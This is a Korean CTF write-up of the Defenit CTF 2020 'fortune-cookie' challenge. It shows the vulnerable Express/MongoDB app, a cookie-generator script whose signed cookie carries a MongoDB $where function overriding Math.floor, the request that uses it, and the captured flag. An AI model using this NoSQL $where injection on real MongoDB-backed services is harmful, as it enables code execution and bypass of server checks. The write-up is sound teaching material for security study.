Rating:

fortune-cookie
==================
Defenit CTF 2020

## 개요
fortune-cookie는 쿠키를 이용하여 mongo db의 JS 엔진을 오염시키는 문제이다.

## Source
```javascript
// app.js
const express = require('express');
const cookieParser = require('cookie-parser');
const { MongoClient, ObjectID } = require('mongodb');
const { FLAG, MONGO_URL } = require('./config');

const app = express();

app.set('view engine', 'html');
app.engine('html', require('ejs').renderFile);

app.use(cookieParser('?' + '?'));
app.use(express.urlencoded());

app.get('/', (req, res) => {
res.render('index', { session: req.signedCookies.user });
});

app.get('/login', (req, res) => {
res.render('login');
});

app.post('/login', (req, res) => {
let { username } = req.body;

res.cookie('user', username, { signed: true });
res.redirect('/');
});

app.use((req, res, next) => {
if (!req.signedCookies.user) {
res.redirect('/login');
} else {
next();
}
});

app.get('/logout', (req, res) => {
res.clearCookie('user');
res.redirect('/');
});

app.get('/write', (req, res) => {
res.render('write');
});

app.post('/write', (req, res) => {

const client = new MongoClient(MONGO_URL, { useNewUrlParser: true });
const author = req.signedCookies.user;

const { content } = req.body;

client.connect(function (err) {

if (err) throw err;

const db = client.db('fortuneCookie');
const collection = db.collection('posts');

collection
.insertOne({
author,
content
})
.then((result) => {
res.redirect(`/view?id=${result.ops[0]._id}`)
}
);

client.close();

});

});

app.get('/view', (req, res) => {

const client = new MongoClient(MONGO_URL, { useNewUrlParser: true });
const author = req.signedCookies.user;
const { id } = req.query;

client.connect(function (err) {

if (err) throw err;

const db = client.db('fortuneCookie');
const collection = db.collection('posts');

try {
collection
.findOne({
_id: ObjectID(id)
})
.then((result) => {

if (result && typeof result.content === 'string' && author === result.author) res.render('view', { content: result.content })
else res.end('Invalid or not allowed');

}
);
} catch (e) { res.end('Invalid request') } finally {
client.close();
}

});
});

app.get('/posts', (req, res) => {

let client = new MongoClient(MONGO_URL, { useNewUrlParser: true });
let author = req.signedCookies.user;

if (typeof author === 'string') {
author = { author };
}

client.connect(function (err) {

if (err) throw err;

const db = client.db('fortuneCookie');
const collection = db.collection('posts');

collection
.find(author)
.toArray()
.then((posts) => {
res.render('posts', { posts })
}
);

client.close();

});

});

app.get('/flag', (req, res) => {

let { favoriteNumber } = req.query;
favoriteNumber = ~~favoriteNumber;

if (!favoriteNumber) {
res.send('Please Input your favorite number ?');
} else {

const client = new MongoClient(MONGO_URL, { useNewUrlParser: true });

client.connect(function (err) {

if (err) throw err;

const db = client.db('fortuneCookie');
const collection = db.collection('posts');

collection.findOne({ $where: `Math.floor(Math.random() * 0xdeaaaadbeef) === ${favoriteNumber}` })
.then(result => {
if (favoriteNumber > 0x1337 && result) res.end(FLAG);
else res.end('Number not matches. Next chance, please!')
});

client.close();

});
}
})

app.listen(8080, '0.0.0.0');

```

## How to Hack

원본 소스에서, `/posts`를 보면, 쿠키에서 유저 네임을 가져올 때 별도의 필터가 없는 것을 확인 할 수 있고,
또 이 유저 네임을 이용하여 `collection.find(author)`를 하는 과정에서, mongo db의 js 엔진이 eval과 같은 역할을 수행해 주는 것을 볼 수 있다.
또한, cookie-parser를 이용한 쿠키에 `string` 외에 함수와 같은 다양한 형식을 넣을 수 있는 것도 참고하자.
그러면, 우리는 쿠키의 author에 특정 함수를 넣어서 mongodb의 JS 엔진에서 실행 시킬 수 있다.
이때, Math.floor = () => {}와 같은 형태로 메서드를 오염시킬 수 있고, 이 점을 이용하여 `/flag`를 뚫을 수 있다.
이때, 이 쿠키의 제너레이터를 코드로 구현하면 아래와 같다.

```javascript
const express = require('express');
const cookieParser = require('cookie-parser');

const app = express();
app.use(cookieParser('?' + '?'));
app.use(express.urlencoded());

app.get('/gen', (req, res) => {
let username = { "$where": 'function(){Math.floor = () => {return 20001223;}; return this.author === \'asdf\';}' };
res.cookie('user', username, { signed: true });
res.end("wow");
});

app.listen(8080, '0.0.0.0');
```

이후, `http://fortune-cookie.ctf.defenit.kr/flag?favoriteNumber=20001223`에 접근하면, 아래와 같은 플래그가 나오는 것을 볼 수 있다.

`Defenit{c0n9r47ula7i0n5_0n_y0u2_9o0d_f02tun3_haHa}
`

Original writeup (https://gist.github.com/beta-lux/4539243d3e4c0b48485dc0be5d4bec72).